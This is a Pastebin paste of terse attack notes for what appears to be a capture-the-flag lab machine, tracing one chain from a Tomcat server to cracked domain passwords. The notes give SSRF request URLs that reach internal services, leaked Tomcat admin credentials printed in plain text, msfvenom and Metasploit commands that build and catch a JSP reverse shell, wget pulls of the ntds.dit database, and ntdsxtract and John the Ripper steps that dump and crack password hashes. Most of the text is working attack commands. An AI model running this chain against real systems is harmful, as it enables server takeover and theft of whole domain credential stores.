Advertisement
Guest User

Untitled

a guest
Oct 30th, 2017
390
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.16 KB | None | 0 0
  1. Fare share of dirb we find a tomcat 8.5.5 on port 8080
  2.  
  3. and some weird browser to port 60000
  4.  
  5. SSRF 10.10.10.55:60000
  6.  
  7. https://www.acunetix.com/blog/articles/server-side-request-forgery-vulnerability/
  8.  
  9. http://10.10.10.55:60000/url.php?path=http://10.10.10.55:60000/server-status/
  10.  
  11. 0-1 - 0/0/7001 . 0.25 4725 0 0.0 0.00 2.36 127.0.0.1 127.0.0.1:888 OPTIONS * HTTP/1.0
  12.  
  13. 1-1 22045 0/6616/7645 _ 1.87 238 2 0.0 2.32 2.70 10.10.15.32 127.0.0.1:60000 NULL
  14.  
  15. 2-1 22046 0/6631/7252 _ 1.86 280 9 0.0 2.32 2.50 10.10.15.32 127.0.0.1:60000 NULL
  16.  
  17. 3-1 - 0/0/6767 . 0.24 4729 0 0.0 0.00 2.25 127.0.0.1 127.0.0.1:888 OPTIONS * HTTP/1.0
  18.  
  19. 4-1 - 0/0/7373 . 2.05 4728 0 0.0 0.00 2.88 127.0.0.1 127.0.0.1:888 OPTIONS * HTTP/1.0
  20.  
  21. 5-1 - 0/0/7242 . 2.01 4724 0 0.0 0.00 2.62 127.0.0.1 127.0.0.1:888 OPTIONS * HTTP/1.0
  22.  
  23. http://10.10.10.55:60000/url.php?path=127.0.0.1:888
  24.  
  25. find ?doc=backup
  26.  
  27. view-source:http://10.10.10.55:60000/url.php?path=127.0.0.1:888?doc=backup
  28.  
  29. bingo
  30.  
  31. <user username="admin" password="3@g01PdhB!" roles="manager,manager-gui,admin-gui,manager-script"/>
  32.  
  33. log into tomcat
  34.  
  35. upload war reverse shell
  36.  
  37. msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
  38.  
  39. use exploit/multi/handler
  40.  
  41. set PAYLOAD java/jsp_shell_reverse_tcp
  42.  
  43. set LHOST <LHOST value>
  44.  
  45. set LPORT <LPORT value>
  46.  
  47. set ExitOnSession false
  48.  
  49. exploit -j -z
  50.  
  51. sessions -i 1
  52.  
  53. python -c 'import pty;pty.spawn("/bin/bash");'
  54.  
  55. find the ntds.dit
  56.  
  57. php -S 10.10.10.55:8888
  58.  
  59. wget 10.10.10.55:8888/X.dit
  60.  
  61. wget 10.10.10.55:8888/X.bin
  62.  
  63. NOTWORKING ***https://didierstevens.files.wordpress.com/2016/07/20160710-211607.png***
  64.  
  65. https://implicitdeny.org/2016/05/cracking-domain-passwords-ntds-dit-metasploit-john/
  66.  
  67. Get tools :
  68.  
  69. git clone https://github.com/libyal/libesedb
  70.  
  71. git clone https://github.com/csababarta/ntdsxtract
  72.  
  73. build needed tools :
  74.  
  75. sudo apt install autoconf automake autopoint libtool pkg-config
  76.  
  77. ./synclibs.sh
  78.  
  79. ./autogen.sh
  80.  
  81. ./configure
  82.  
  83. make
  84.  
  85. sudo ldconfig
  86.  
  87. esedbtools/esedbexport -m tables /root/20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit
  88.  
  89. esedbexport 20171002
  90.  
  91. Opening file.
  92.  
  93. Exporting table 1 (MSysObjects) out of 12.
  94.  
  95. Exporting table 2 (MSysObjectsShadow) out of 12.
  96.  
  97. Exporting table 3 (MSysUnicodeFixupVer2) out of 12.
  98.  
  99. Exporting table 4 (datatable) out of 12.
  100.  
  101. Exporting table 5 (hiddentable) out of 12.
  102.  
  103. Exporting table 6 (link_table) out of 12.
  104.  
  105. Exporting table 7 (sdpropcounttable) out of 12.
  106.  
  107. Exporting table 8 (sdproptable) out of 12.
  108.  
  109. Exporting table 9 (sd_table) out of 12.
  110.  
  111. Exporting table 10 (MSysDefrag2) out of 12.
  112.  
  113. Exporting table 11 (quota_table) out of 12.
  114.  
  115. Exporting table 12 (quota_rebuild_progress_table) out of 12.
  116.  
  117. Export completed.
  118.  
  119. python /root/ntdsxtract/dsusers.py datatable.3 link_table.5 extract/ --lmoutfile LM.out --ntoutfile NT.out --passwordhashes --pwdformat john --syshive system.bin
  120.  
  121. john --rules=all --fork=2 extract/NT.out
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement